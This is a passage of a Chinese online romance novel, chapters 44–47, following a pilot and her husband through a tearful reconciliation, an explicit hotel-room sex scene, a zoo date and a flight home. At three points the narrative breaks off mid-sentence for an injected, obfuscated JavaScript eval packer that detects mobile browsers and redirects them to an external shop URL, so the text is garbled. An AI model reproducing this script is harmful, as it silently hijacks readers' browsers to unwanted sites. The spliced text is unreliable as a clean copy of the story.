竟也是某些近在眼前的人的至亲。 “乔清露那段时间在图卢兹小住,美其名曰收集创作灵感,其实就是在单方面打扰我的工作和生活。 “老先生去世后,我和她都接到了电话通知。当天图卢兹没有直飞京城的航班,只能从戴高乐机场出发。家里人要求我必须带着她一起赶往巴黎。 “高速路上行驶时,突然下起了大暴雨,视线根本模糊到看不清。她一直哭着让我开快点,甚至疯癫到要来抢夺我手中的方向盘。轮胎打滑,汽车失控侧翻撞向了路边的护栏,我们都受了很重的伤。” “谢持,明明发生天大的事,你怎么不告诉我……”黎念眼泛泪花,声音都在发颤,“如果没有乔清露自揭伤疤,你到底要假装无事发生到什么时候?这样隐瞒过来猜忌过去,真的对我们都好吗?” 银质餐叉发了狠似的刺破桌布,她咬紧牙关忍耐,目眦欲裂不让泪水滑落下来。 “反正当时心痛和现在一样,没有任何区别……” 谢持叠好方巾,站起身来为她拭干眼角的水痕,面色凝重道:“对不起,是我不够坦诚。从你问我为什么愿意和你结婚开始,我好像就一直在错误的道路上渐行渐远。” 44. 卡俄斯 黎念手里的狠劲陡然松懈。 餐叉顺势滚落到羊毛地毯上面,预想中的碰撞声被柔软密网紧紧吸附。四周悄无声息,连空气都跟着凝滞下来,像是遁入外太空。 只有她断断续续的啜泣声时而弹拨心弦。 她把自己封闭起来,不知道呜咽了有多久。明明自顾不暇,残存的理智还在担心吓到别人,于是她极力压制住哭声,脸都快要憋红,泪痕在眼下纵横交错。 可哪里还有别人能听到。 这里已经被包场。 谢持再怎么擅长未雨绸缪,但终究是百密一疏,忘记了提前准备晚餐的事情。 他习惯用最直接最简单的方式解决问题。 顶楼一通电话拨过去,所有预约全部取消,餐厅在一众不解与愤懑中无奈闭门谢客,赔偿给其他客人的违约金远远超过当日预期营业额。 独属于她的夜晚,哭泣是否自由,纯属多虑。 谢持不置一词,凝眉注视着黎念,直到她内心的暴风雨彻底平息。 脸颊埋在手心里,头颅低垂,脊背高高隆起,呼吸起伏微弱得肉眼几乎不可见,整个人静默成为一座隽永雕像。 “早知道会这样,还不如不要听你讲这些的好,”黎念抬眼对上他视线,眼眶红得出奇,声音听起来闷闷的,“我现在觉得好割裂。” 她破涕而笑,笑比哭还难看。 谢持在心里偷偷叹了口气,知道她又钻进了哪个牛角尖里面,一时半会儿肯定出不来。 “我一直在埋怨你错过爸爸的忌日,误会你和乔清露在国外有过什么,但现在知道了事情的来龙去脉,才发现我简直被她骗得团团转。 “听说你出车祸受重伤,我真的觉得你好无辜好可怜。一想到去世的是对你特别重要的人,而我还要任性发这么久的脾气,我更会忍不住道德谴责自己是在无理取闹……” “念念,你没有错。是我太自私固执,以为一个人承担下来就可以不让你担心,”他情绪被她深深感染,嗓音嘶哑,“你没有必要强迫自己永远保持逻辑自洽,就像我加班加点把实验提前做完,从京城跟到羊城来这件事情本身也是不讲逻辑的。 “只是内心告诉我应该这么做。” 黎念用手背胡乱地抹了一把眼泪,整理好情绪,定定看向谢持:“所以,你说的‘在错误的道路上渐行渐远’,究竟是什么意思?” 谢持没有正面回答,而是摆放好面前的餐具,不疾不徐站起身走到她的身旁,很绅士地微微弯腰伸手,邀请她一同离开座席。 他的手掌宽厚温热,源源不断的暖意将她层层包裹,快要融化掉。 “当初我答应和你结婚,仅仅因为那个人是你。哪怕你完全不爱我,那都不重要。” - 黎念后人一步踏入观光电梯,被拉进坚实有力的怀抱里。 电梯一瞬间加速,超重感迅速袭来,像猫用锋利的爪子若有似无地抓挠着腹部。 城市在身后下坠。玻璃窗映出满世界流光溢彩,但上升得太快,外面的景象摇摇晃晃,似真似幻。 五感模糊成晕开的水墨。只听得见自己胸腔里富有节奏的跳动。呼吸在狭小密闭的空间里愈发喘重急促,和他常年爱用的深深镌刻进记忆里的柑橘香调纠结在一起。 起初黎念只是情难自已地浅啄在他的侧脸上,作为解开困扰她多年的谜题的谢礼。 却没有料想到这一点火星子以燎原之势迅速扩散,从轻轻咬住唇又松开的试探,到攻城略地、不容抗拒的完全占有。 远远比之前在出租车上更加动情的缠吻,带着不容抗拒的气息,一步一步蚕食她的清醒神智。 这是她第一次在接吻时勾住他的脖颈,被他带入汹涌澎湃的节奏,甚至,逐渐接管主动权,故意用牙齿捉弄对方灵活柔软的舌。额前碎发被细密的汗珠沾湿。 谢持本能使然让她背对着电梯门,西装外套不知何时解下来笼住她的肩头。 他怕突然有不速之客闯入,叫她和别人面面相觑,难免羞赧尴尬。 所幸一路无人打扰,电梯直上顶楼。门打开的瞬间,两人同时迈开步伐,险些把彼此绊倒,然后默契地对视片刻笑出了声,连胸腔起伏的幅度都在同频。 等到他熟练地用房卡开启大门,靡丽的金色灯光倏然亮起,从玄关一路递到最深处,她似乎意识到接下来会发生什么。 小别,远胜新婚。 还有时间给她做出反应。逃,还是顺其自然。 套房的结构和阆园极为相似,她只觉得两百多平的面积太大很浪费。到浴室的距离本就算不上近,耳鬓厮磨蹉跎了更多时间。 费力挣脱掉已经被花洒彻底打湿的长袖长裤,黎念还没来得及好好感受池中温热水流的照拂,便被谢持一把捞起,轻放在浴缸边缘。 陡峭的崖壁之上,她危险耸立。身后是万丈深渊。 一时之间重心不稳,她在错乱中手脚并用,像树袋熊那般惊恐地挂在他的身上,力度紧到不敢松开。 “别怕,”谢持为她不安的反应失笑道,“靠在后面的玻璃上就不会晃了,其他的交给我就好……” 他以大掌作钉,把东倒西歪的传世画作重新固定在墙上,双膝跪地,近乎虔诚地膜拜欣赏。 黎念大脑快被自己和对方身上不断冒出来的热气蒸熟,几乎丧失思考能力,直到旷日弥久的空白被某种柔软而有韧性的物体覆盖。 陌生又新奇。 雨润如酥,通体红色的小鱼灵活摆尾,嬉于莲叶间。雨势渐大,搅动起层层涟漪。池水快要装满,晃荡一下就溢出来。 越是惊险,感官越被放大。黎念连灵魂都在摇摇欲坠,又未敢松懈半分。 她弓着背把重心全部压到身后的落地窗,手指陷进始作俑者乌黑粗砺的短发里,被刺挠得手掌发痒。 谢持还有心情忙里偷闲,调笑道:“刚才明明哭了那么久,怎么都还没有哭脱水。” “你烦不烦……”黎念简直听不得他的混账话,吵着要从浴缸边缘下来。 脸比熟透了的虾还红。 她之前第一次被那样对待,以为他惯爱的风格就是太过自我,根本没留下什么好印象,甚至会在心底偷偷犯抵触。 直到他把泡得发白起皱的指腹故意凑到她面前给她看,被她骂骂咧咧地拂开后,急忙俯首帖耳地道歉。 她才明白自己又在奇怪的事情上误会他了。 密密麻麻的烟花在颅内不停炸开,黎念身心俱疲,就像在悬崖边走钢丝,实在无力支撑自己,吵着、挣揣着要下来。 于是谢持让她重新稳稳当当坐进浴缸里背靠在自己身上,极尽轻柔为她洗去一身疲惫。 “看不出来你还愿意做这些,”黎念眯着眼,心安理得接受他的服务,感觉身上每一个毛孔都适意到打开,还不忘旧事重提洗涮他,“上次都没让我尝到什么甜头,光顾着自己的感受去了。” 谢持动作一顿,头埋在她的颈间慢条斯理蹭了蹭,像大型猫科动物互相依偎舔舐那般温存:“对不起,老婆……其实我早就想这样做……” 见不得人的隐秘的坏心思掩藏在水下,丝毫没有表面景象这般纯洁无害。 黎念从迷乱中清醒过来,精准撷取到关键词,微微发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222199|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔。 他叫她什么? 她好不容易才听习惯“念念”这个称谓,肉麻的感觉也已经脱敏。 “只是当时听到你提起前男友,心里滋味不太好受。”谢持低闷道。 这算什么烂理由。黎念大窘。 整个人立刻便泄了劲。 在她积蓄能量再度攀顶的关键时刻,干嘛要突然提到那个晦气的玩意让她萎靡掉。 但她也不生气,借着浮力从他怀里轻而易举挣脱出来,趴在边壁上调整呼吸,回过头看他,吟吟一笑:“吃醋了?” 进入浴室前被随手绑起的马尾经过方才一番折腾,松松垮垮地耷拉下来,发尾在洗澡水里散开像海藻一样。 谢持注视着波光粼粼之下她那光洁如白玉的后背,眸色晦暗几分,不多言语,算是默认。 “哈……”黎念被他严肃的表情逗乐,哼笑了一声。 她撑着浴缸壁借力游回到他跟前,依偎在平日里最眼馋的精壮胸膛上,也不抬眼和他对视,故意嗔怪地嘟囔着:“他又不喜欢女人,你这飞醋倒吃得挺香啊。” 谢持先是疑惑,然后恍然大悟。 “那为什么——”他正要继续发问,却很快被她打断。 “按照他的说法,他和我在一起之后才意识到自己对女人完全提不起生理上的兴趣,”黎念轻描淡写道,“但我宁愿相信他是有骗婚的打算,所以防患于未然,先把他踹掉了。” 谢持不消多说就知道了想要的答案,瘪着嘴一言不发,心事重重写满脸上。 “怎么了?”黎念见状挑眉问道。 “所以你们……你没和他……”谢持顾虑再三,支支吾吾,舌头都快要打结。 他在国外待得久,对开放的奇葩事儿司空见惯,虽然没有沆瀣一气入乡随俗,但也算不上什么思想保守的老古董。 扪心自问,他是不是她第一个男人似乎不是那么重要,只要她愿意施舍几分眼色就能让他兀自开心好久。 可在当时的情境下,难免会泛酸。 他承认自己总会为她变得心胸狭窄。 黎念笑得更加肆无忌惮。 她蓦地打了个寒战,感觉水温变得有些凉,便一把扯来浴袍裹在身上,动动手指绕了个漂亮的蝴蝶结,然后踮着脚翻身出浴缸,全然不顾身后失魂落魄的男人。 还没挨到床边,黎念便在天翻地覆的剧烈晕眩中直直躺倒进蓬松柔软的被芯里。 “念念,没事的,我不介意,”谢持俯在她耳边,声音带着蛊惑,“只要我是你的,就够了。” 她被吻得头脑发懵,一边喘气一边断断续续较劲道:“你……倒才不像是个新手……” 后来,黎念实在疲惫得不行,霸着两米宽的大床就再也不想腾挪地方,勉强应允谢持和她分享同一个夜晚。 条件是说清楚他消失这段时间的去向。 她没等到回应,迷迷糊糊缩在被窝里,浅浅打起了盹儿。 一摇就醒。还嘴硬不承认睡着。 谢持把手机拿给她看,状极无辜:“这个月没发消息是怕打扰你复训,其实我都有好好报备的。” 屏幕上显示的是他的朋友圈界面,每一条动态都没有设置分组屏蔽,都以“给老婆的报备日记”为题。 今天做了什么,吃了什么,看到了怎样的风景,他都明晃晃地敞亮开来给所有人看。 事无巨细,图文并茂。 她忙起来就简直没心情刷朋友圈。平日里最看不惯的小红点都被她自动忽视掉。 哪会料想到他还有这么细腻的小心思。 “笨蛋……” 45. 瑞亚 整夜无梦。 黎念睡醒睁眼,很快就适应了卧室里的亮度。 遮光窗帘拉得严丝合缝,不让一缕阳光偷跑进来。昏暗模糊的画面倒像极了中学背的课文所描述的“薄暮冥冥”。 她以为自己还被生物钟控制所以醒得早,支撑着身子伸手在床头柜上摸索了片刻,拾起手机定睛一看。 早上十点。 理论上来说,外面的太阳已经开始炙烤。 工作这么多年,她居然能有如此高质量的睡眠,比吃了超剂量的褪黑素还睡得踏实。 黎念不可思议地躺回去,正打算继续趁热打铁睡个回笼觉,莫名感觉到旁边床垫略微凹陷下去。 有人正躺在她旁边。 她先是心中警铃大作,待到昨晚混乱的记忆加载完成尽数涌入脑海后,小声尖叫了一声,连忙抓起被子盖住自己滚烫的脸。 谢持事前准备做得不能再细致,让她早就在外面弃甲曳兵了无数次,所以后续的负距离接触体验远胜从前,比她想象中要顺遂千倍万倍。 甚至逐渐食髓知味。 她后来也是因为疲乏到没有心情跟他浪费精力周旋,才哼哼唧唧地答应和他睡在一块的。 黎念把被子往下揭开,只露了一双眼睛,滴溜溜转了一圈后定格在左边。她余光瞥见谢持的存在,内心嘀咕了一声。 怎么比她还能睡,有那么累? 于是翻过身去,眼神直勾勾地打量他。 他上身未着寸缕,面朝她的方向侧躺着,睡姿算不得板正。高大的身躯竟然不安地蜷缩起来,双手交叠枕在脑袋下方。 从肩膀到手臂肌肉线条饱满流畅,上面还有一圈惹眼的深色牙印,让黎念脸冒热气。 她再往仔细了看,幽暗光线里,他面色平和,眼睑沉阖,长而密的睫毛落下一层厚重阴翳。 黎念觉得谢持瘦下来的长相偏硬朗一些,轮廓清晰,鼻梁高挺,薄唇总会紧抿成一条线。但那都是在醒着有意识做表情管理的时候。 他睡着后才真正卸下防备,眉眼嘴唇的边界都柔和得雌雄莫辨,整个人化身在卢浮宫里沉睡的赫马佛洛狄忒斯,脆弱易碎,又实在美丽。 不知怎的,黎念脑袋里倏然冒出来了晋姝意先前在回程飞机上和她开玩笑—— “我要是有这么帅一老公,肯定恨不得把他的照片设成屏保,每天早上睡醒起来第一件事就是收集美男睡颜照。” 她当时只觉得晋姝意满脸犯花痴没个正经样,捂住耳朵吵嚷着坚决不听她瞎说八道。哪曾想潜意识还是把对方说的每个字都牢牢记住,甚至在此情此景下油然生出一种莫名的赞同感。 早上醒来就看到如此具有冲击力的画面,会想要永久保存下来珍藏起来,心里腻得快要化掉。 黎念承认自己认栽了。 她悄悄把手机掏出来,打开相机功能。 镜头里面,乌黑浓睫弧度弯弯,白净皮肤光洁无瑕,是她也会羡慕嫉妒的程度。 她对焦时不由得多看了两眼。 未曾想屏幕里的男人像是早有预备,卡准时机突然睁开眼睛。视线掠过手机和她深深对望。 “看来是睡好了?”谢持唇角含笑,“已经有精力偷拍我。” 黎念猝不及防吓了一跳,赶忙把手机收回被窝里藏起来。做坏事被抓现行,简直尴尬到无地自容。 她很快意识到有些不对劲,蹙着眉狠狠瞪过去。他声如泉水淙淙,听不出来一丝丝粘稠的困意,分明就是在装睡。 “怎么?”黎念眉尾狡黠上挑,往他跟前凑,厚着脸皮反问道,“检查你这个月有没有为我消得人憔悴还不行吗?” 她一边说着,一边故意上手捏了捏他暴露在空气里的肱二头肌。 谢持任着她作乱,笑而不语,只是在忍耐到达限度之后猛然扣住她的手腕,指引着她往其他地方探寻去。 “昨天晚上那么长时间都还没有把情况了解清楚哪,”他伏在她耳边低低道,“这些都是我的健身成果,请老婆检阅。” 黎念本来打算捉弄他,没想到自己反被这个更加没脸没皮的人将了一军。 他又叫她老婆…… 在他的带领下,柔若无骨的手从他的臂膀缓慢滑到肩头、锁骨,然后是壮实的胸膛和块块分明的腹肌…… 她感觉手都烫得不像是自己的了。 “练……练得挺好……” 再往下。 不能再继续往下,否则她会马上惊叫出来。 这哪是在让她检阅成果,分明就是在挑战她的羞耻心。 谢持看她神情渐渐凝滞,动作一顿。 他似乎也喜欢点到为止的感觉,并没有做出过于出格的举动,而是慷慨地放她一马,带着不战而胜的得意的笑。大掌顺着她的太阳穴拂到头顶,轻轻地拍了拍。 “其实我七点过就醒了,见你睡得正香,就没忍心拉着你起来晨练,”谢持俯下身子贴在她耳边,落下轻轻一吻,“老婆复训辛苦了,多睡会儿是应该的。” “晨练?”黎念闻言嫌弃地皱了皱鼻子。 他怎么脑子里成天都装着一些有颜色的隐喻! 谢持睁着清澈的双眼:“对啊,我每天早上都得去跑跑步、举举铁,你知道的啊。” 黎念差点被气晕过去。 好尴尬!! 但她又不敢让谢持明眼看出来是自己先想歪的,“呵呵”笑了两声便又装作无事发生,闭上眼睛假寐来掩饰心虚。 “都出过门了,回来又不把衣服穿上,臭流氓。”她小声嘀咕道,恨不得拿枕头把自己捂得严严实实。 “还困吗?”谢持一手撑着上半身坐起来,低头看着她问道,“我本来叫了客房送早餐。你想再睡会儿的话,就让他们先撤回去。到午饭时间我们再一起吃顿丰盛的brunch。” 黎念耳朵经不起折腾,条件反射似的往一旁避开,用力紧闭着双眼。手却不自觉地覆在了瘪瘪的肚子上。只有自己才听得到饥肠辘辘的声音。 什么也没吃就睡到这一阵,她现在好饿。就算要睡觉也根本进入不了状态,注意力全在胃那里。 空空如也。 他还敢撤走早餐? “不行!”黎念用眼色递过去飞刀,严正抗议道,“我现在就要吃,不要西式的,就想吃点热乎的面条。” - 黎念不喜欢餐厅老气横秋的装修风格,觉得憋得心里发闷,便把一整桌中式餐点搬到了客厅外面的露台上。这样可以用着早餐,闲适地靠在贵妃椅上,坐拥整座城市初醒的繁华。 美中不足的是,面条有些清汤寡水,不太合蓉城人的口味。但这都在可以忍受的范围之内。 谢持已经在下楼锻炼的时候提前吃过东西垫肚。他坐得四平八稳,一本正经读着当日的晨报,面前只摆了杯咖啡。 黎念懒得学他装模作样,而是大剌剌地歪斜在躺椅里,抱着平板电脑刷娱乐新闻刷得乐此不疲。看完了文娱热搜,又转战到同城热搜上。 排在羊城榜单头条的新闻,标题取得很是抓人眼球:#现实版追妻火葬场#。 黎念看到这里差点被刚喝进去的豆浆呛到。 @羊城情报站:【羊城珠江畔上演神秘无人机表演大片,霸总豪掷万金只为对女友说一句“I''msorry”[哇][哇]网友:是谁羡慕了我不说。#现实版追妻火葬场#】 一篇平平无奇的报道,至少对于她来说没有任何新意,反倒是词条下面的路人讨论吸引了她的注意力。 【就没有人好奇事主是谁吗?】 【楼主别神神秘秘的,愿闻其详。】 【男方听说是赫尔墨斯的太子爷,连这些无人机都是他自己的。我朋友就在那家公司里面上班,她亲口告诉我的。】 还有人放出谢持的照片。 他平时鲜少在公开场合露面,最近一次是在赫尔墨斯影业为乔清露举办的接风晚宴上。 照片有些模糊,像是在场宾客用手机随手一拍,但还是能够大致看见他的下颌轮廓在镁光灯的照射下愈显锋利。眉头紧皱,神情略微不耐烦。 【长得帅还深情,是我就答应他了[馋嘴][馋嘴]】 【楼上赶紧睡觉吧,梦里什么都有】 【可惜没有出道,这颜值放贵圈里不得秒了那些“资本家”的丑孩子】 【他自己不也是“资本家”的孩子吗[笑cry][笑cry]】 【人家至少不丑,要知道男明星长得丑就是原罪。赫尔墨斯现在都伸手进影视业了,少爷随便收拾收拾就出道不是迟早的事嘛[doge]】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢持耐着性子把报纸叠好顺手放在旁边,眼里没什么温度:“我一向很公私分明,不会参与到经营管理事务中。况且是你先提起的乔清露,我以为一笔带过会让我们都感觉轻松些。” 黎念喉头一哽,像是被堵了团棉花,声音都变得嘶哑:“谢持,我从来都没想到你会是这么自私的人,享受到了家里带来的一切便利,现在却要把他们抛诸脑后……” “我在你眼里就这么不堪吗?所以总喜欢叫我‘少爷’开涮,”谢持看她的眼神里闪过几不可察的悲怆,语气仍然很平淡,“在国外的时候家里就对我断供了,你现在看到的都是我靠自己挣来的。 “虽然我的确逃避了所谓继承人的责任,但从情感上讲,作为儿子、晚辈,我扪心自问没有亏欠任何人。” 黎念意识到自己好像又误会了他,重新坐回位置上,担忧地注视着他,眼眶微微泛红:“对不起……我就是想到二叔现在处境艰难,才会特别难过。他那件事直到现在都还没有个结果,很明显有势力更大的人从中作梗。” 谢持快要散乱的思绪终于凝到一块儿,黑眸微微颤动。手指紧抓着膝盖上的西裤布料,骨节因为用力而变得惨白。 “实话实说吧,乔清露来者不善。那天她在晚宴开始前就恫吓过我,”黎念继续说道,“说是要来毁掉你。 “我怕她会对‘赫尔墨斯’出手。如果出了什么差错,让你的骨肉至亲蒙难,牵一发而动全身,最后归根结底伤害的可是你啊。” “我……明白了,”谢持眼眸低垂,注视着裤上的褶皱自行慢慢恢复平整,沉默数秒,又重新看向她,强颜欢笑道,“还好有你告诉我这些。” 黎念没多说什么,心事重重地端着炖盅,抿了一口还烫着的芡实莲子汤。她没来由地觉得嘴里好苦。 天空淅淅沥沥飘起了小雨,不远处的玻璃护栏上凝结了许多大颗粒的水珠,争先恐后地向下滑落。黎念怔怔地盯着它们比赛的画面发呆。 “对了念念,下个月的生日,你想好怎么过了吗?”谢持突然发问。 黎念思绪被打断,看向他惊诧道:“这么快就要到十二月啦?我总觉得时间还停留在夏天呢。” 羊城漫长的夏日就要结束,京城早已降下初雪。四季轮换,她却好像永远被困在了八月那个燥热的下午。 46. 瑞亚 按照一周一排的飞行计划,黎念在复训结束后可以短暂地休息上48个小时。 但是签派员“一不小心”给她安排了一个次日晚上大兴飞伦敦希思罗机场的通宵大夜航,她必须要尽快回到京城重启飞行日常。 所以,接下来留给她的自由时间简直少得可怜。 等到黎念意识到自己已经在酒店蹉跎了大半天以后,说什么也要出去走走,绝对不能平白无故浪费在羊城小憩的机会。 谢持原本想让她继续在酒店养精蓄锐,赶紧把复训透支掉的元气补回来。 结果看她那随时吵吵嚷嚷活力四射的状态,他实在不忍心破坏她高昂的兴致,便答应陪着一起。 窗外景象不断变幻。遍地纸醉金迷的高楼大厦逐渐归于尘土,迎面而来是熟悉又亲切的小城气息。 谢持不禁疑惑问道:“这是要去哪里?” 他看了眼地图。汽车一路向南,已经驶到了距离羊城塔几十公里开外的郊区。附近值得一去的景点是经常在电视上打广告的野生动物园。 “我还没有亲眼见过树袋熊,早就听说羊城这里有几十只诶,”黎念原本趴在窗边看风景,闻声转过头来眼巴巴看他,“下一期的‘休息日vlog’也能有点新素材了,老是录一些吃饭逛街的内容好没营养噢。” 谢持嘴角不自觉地抽搐一下。 他以为她会抓紧时间就近到市区里面更加出名的步行街拍照打卡,竟没想到她的选择竟然如此剑走偏锋,把航司代言人光鲜亮丽的社交账号变成少儿频道。 他们小时候也不是没有一起去过蓉城的动物园。 搬家好几次都没弄丢的相册里,至今还保存着家长和两个六岁孩子在大象跟前的合影—— 周珮文把黎念抱在怀里,状极亲昵。谢持则负手站在一边,气鼓鼓的,故意不看镜头。 小时候他总觉得母亲的举动太偏心,私底下跑去质问她,得到的回复竟然是他长得胖抱不动。他实在气不过,就用圆珠笔把她的脸涂花表示抗议。 后来谢持才体悟到周珮文的用意。 黎念和他不一样,没有住在省城的外公外婆,更没有能够时常抽空出来陪伴孩子的父母,进城玩都是一种奢望。 如今,她仍然在试图宴请犒劳那个童年装满了遗憾的自己。 想到这里,谢持顿觉心脏泛起密密匝匝的痛来。方才的惊诧和不理解让他羞愧难当。 他们中途断开联系那么多年,性格早在各自的人生轨迹里被塑造成了截然不同的模样。她有时会陌生到让他不敢相认,但好在大多数时候还是和以前一模一样,热忱,张扬,容易被满足,就像个孩子。 譬如,看到站成一排排翘首眺望的狐獴时,她会兴奋到大叫起来,然后拽住他的外套袖口晃来晃去,让他也看。 一路闲逛到了周边商店里,黎念给自己买了考拉公仔的双肩背包,还自掏腰包送谢持一个白虎耳朵发箍,不由分说让他戴上拍照。 美其名曰这么可爱的发箍对于她来说太幼稚,让一米九的肌肉男戴着就刚刚好。 反差感最能激发出来某些藏在阴暗角落里的嗜好。 谢持手握快要化掉的雪糕筒,无奈叹了口气,注视着手机屏幕里面只顾着欣赏自己美貌、笑靥如花的黎念,小心翼翼地问道:“所以,我们这样算是在约会吗?” 他连脑袋都不敢动一下,嘴角扬起来的弧度也完美保持在她的规定范围,像任人如何驱使都老老实实受着的。 黎念迟迟不按下快门,看起来像是在思索怎么回答他,但很快就恢复了起初那副嬉皮笑脸的模样。 她扭头看他,语气坚定:“是第一次。” 他们曾经一同玩遍游乐场、电玩城甚至鬼屋的次数多到根本数不过来,结伴上下学更是家常便饭,但这些都算不得恋爱意义上的“约会”。 后来结了婚,能够以伴侣身份单独外出游玩的机会却变得少之又少。其实雍和宫那次勉强能够作数的,但她总觉得当时的心境同现在还是有些差异。 这才算她心中真正的第一次约会。 谢持心头微动,紧绷的神情很快松弛下来。他偷偷扔掉化得一塌糊涂的甜筒,从黎念手中接过手机,揽住她的肩膀,靠得更近了些。 二人从考拉园出来继续往北走,一路经过热带雨林和大面积的湖泊,看见了更多在温带内陆极其罕见的动物,最终乘上游览“东非草原”的观光火车。 当长颈鹿和鸵鸟成群结队从身旁经过,秃鹳在高空中展翅盘旋时,黎念情不自禁念叨了起来。 “原来长颈鹿的体型这么大啊,以前光是远远望过去,根本没发觉诶。 “天上那个在飞的鸟是什么呀?老鹰?还是秃鹫?怎么看起来瘦瘦的。 “所以斑马的肉真的能吃吗?” 她也没指望谁能解答这些无厘头的疑惑,只是觉得沐浴在南国秋日的阳光之下,身体虽然局限在观光车狭小的座位里,心却被照耀得敞亮,自由,又很畅快。 但她在兴奋之余,一想到公司不太可能开通非洲航线,自己恐怕直到退休都无法亲眼见证震撼的动物大迁徙,难免又陷入了短暂的失落。 “要是我真的在非洲就好了……” 谢持坐在旁边给她拍照录像,心思全然没在看风景上面,听她这么一说,不假思索问道:“想去吗?” 正在录制的画面里,黎念静静靠在车门上,睫毛低垂,手指纠结地绞在一起:“想。但是流行病好可怕。之前看到有人高烧不退转移到国外治疗,还没等到飞机降落就去世了。” “是有风险,但短期旅游的话不用太担心,”谢持关掉录像功能,倒是很认真地和她探讨起来,说得头头是道,“有些国家不是黄热病疫区,只去那里看看的话连疫苗都不需要打,比如坦桑尼亚,现在过去还能免签证。 “实在害怕得疟疾可以避开雨季出行,蚊子少。要是真的中招了也别怕,当地很好买到药物。我在肯尼亚参加拉力赛的时候,车队里的机械师不小心感染过这种病。不过他去诊所挂了几天水很快就活蹦乱跳了……” “算了吧。非执勤期没有公司审批不能离开基地五十公里以外,请假太麻烦,偷跑出国被发现又要停飞。”黎念怕他行动力太强,把随口一说的事情当真,撇撇嘴便没再顺着他的意思继续往下说。 谢持本来都快在脑海里规划好草原游猎的线路,高涨起来的热情登时就偃旗息鼓。 “你现在这么听领导话啊,当初为了玩游戏逃课去黑网吧的劲儿都去哪里了?”他挑眉打趣道。 黎念立马给自己找补:“我那是忙得差点忘记当天有游戏托管的单子,害怕把人家单主五百天连续签到的记录清零了,才不得不破戒逃课的。” 她上初中突发奇想做起了副业,偷偷到冒菜店对面的打印店里面帮那些被禁止上网的同学签到领奖励。不过没坚持多久就被黄丽娟发现,免不了又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387919|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿臭骂,此事便不了了之。 彼时火车到站,她皮笑肉不笑地冷哼一声,懒得再跟他掰扯往事,先行跃下车厢扬长而去,动作很是轻快。 谢持见状,三步并作两步紧追上前和她并排走着,也没再多问。 黎念停住脚步,把抱在前面的考拉背包挣脱下来重新挎到背后。她冷冷扫了他一眼:“成年人任性起来要承受的代价,不是挨一顿爸妈老师的骂,或者在众目睽睽之下到教室后面罚站那么简单的。 “你应该比我更清楚吧。大、忙、人。” “又给我取新的绰号了。”谢持面上仍堆着凑趣的笑。 想想也是,他现在手里面的试验堆积如山,何尝没有忍痛割舍掉说走就走的恣意潇洒。 国产民用航空发动机完成初步结构耐久性考核之后,还需在两年之内配装到国产重型机上进行试飞测试,适航取证更是遥遥无期。 向上攀登的人不会在意向下的自由。 面对工作始终怀揣着最纯粹的敬畏感,他们两个在这方面实在相像得很。 黎念目视前方,朝着景区大门阔步走去,没好气地驳道:“不喜欢也受着。” “收到。” 黎念白日里几乎是透支精力地玩,在回程的出租车上实在捱不住困意,埋在谢持的肩膀里昏昏沉沉。 一路上遇到了好几次堵车,差点错过值机截止的时间。 到机场后,谢持让黎念找处地方继续盹着,自己则跑到高卡柜台去利落地办好托运,顺道把她用海云员工权益兑换的后舱客票升级到了前面。 负责值机的地服人员看到后台显示的乘客信息,狐疑地瞥谢持一眼,嘴唇翕动了半晌才鼓足勇气问出来:“先生,和您同乘的女士是……” 谢持心领神会笑了笑。 和他同乘的是海云有史以来第一名飞行员代言人,更即将成为海云最年轻的女性机长。 但不知怎的,他此时此刻竟然很想向全世界宣告另外一种隐密于世的答复。 “嗯,是的,我是她的丈夫。” 从粤省到京城,飞行距离将近两千公里,大家最爱听的八卦却只需要几秒钟就能传过去。 谢持看着对方脸上表情变换,很是精彩,满意地收起证件和机票离开。 黎念对这段无关紧要的小插曲浑然不知,到了平飞阶段也顶不住困意放下椅背倒头就睡。 直到飞机接地时把她震得惊醒过来,她才看见从四面八方涌过来的消息,其中不乏上次一起飞乌市才认识的同事。 【姐?你未免也太低调了吧…】 【你之前一直没有公开恋情,好多人都以为是你对象长得有点抱歉,没想到你是害怕把他放出来太危险啊~】 黎念被消息轰炸得一头雾水。不知道谢持又背着她做了什么伤天害理的事情,让她简直百口莫辩。 她白了一眼最有嫌疑的人,把聊天记录怼到他眼前,厉声诘问道:“你和羊城的同事都瞎说了些什么?” 谢持似乎早已做好了心理准备,回得不疾不徐:“一些任性的话。” 他见黎念迟迟没有反应,而是一直咬着下嘴唇若有所思,担心自己又要被她“始乱终弃”,于是凑近了追问:“念念,你还是不愿意给我安一个名分吗?” 语气有些无可奈何。 黎念沉吟片刻,目光挪到他那张出尽风头的脸上面,哼了一声:“太危险了。” ……? 47. 瑞亚 周珮文天生不喜寒凉,容易感冒,所以往年每逢冬天都会带着家里的闲散人等到太平洋中心的海岛旅居。 今年因为谢思邑的事情,她和郝芝宜不敢离开国内半步,只好在京城落下第一场雪以后独自前往琼省万宁的别墅里小住。 